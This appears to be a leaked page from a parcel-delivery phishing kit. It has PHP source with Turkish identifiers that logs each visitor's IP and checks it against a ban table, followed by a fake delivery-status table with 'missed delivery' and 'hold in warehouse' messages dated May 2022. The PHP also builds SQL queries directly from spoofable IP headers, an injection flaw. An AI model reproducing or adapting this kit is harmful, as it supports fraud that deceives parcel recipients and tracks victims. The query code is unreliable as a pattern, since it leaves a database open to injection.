include 'baglan.php'; $rnd=rand(100000000000,999999999999); $rnd2=rand(10000,999999); function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ',')) { $tmp = explode (',', $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } $ipcik = GetIP(); $stmt99 = $db->query("SELECT * FROM log WHERE ip='{$ipcik}'"); while ($row99 = $stmt99->fetch()) { $ipsor = $row99['ip']; } if($ipsor=="") { $sql = "INSERT INTO log (durum, ip, durum2, ses, tarih, alan10) VALUES (:durum, :ip, :durum2, :ses, now(), :alan10)"; $query = $db->prepare($sql); $sonuc = $query->execute(array( ':durum'=>0, ':ip'=>$ipcik, ':durum2'=>"Ana Sayfa", ':ses'=>1, ':alan10'=>$rnd, )); } $query2 = $db->query("SELECT * FROM ban WHERE ip = '$ipcik'")->fetch(PDO::FETCH_ASSOC); if ( $query2 ){ echo ""; } else {} function seo($url) { $find = array('-'); $url = str_replace ($find, '', $url); $url = strtolower($url); return $url; } ?>
Date | Status |
---|---|
5/7/2022 | |
Hold in Warehouse | |
5/6/2022 | |
We tried to deliver your parcel today but you weren't in or there was no safe place to leave it. | |
5/6/2022 | |
Your parcel will be with you today | |
5/5/2022 | |
Your parcel is at our depot | |
5/5/2022 | |
We have your parcel, and it's on its way to our depot | |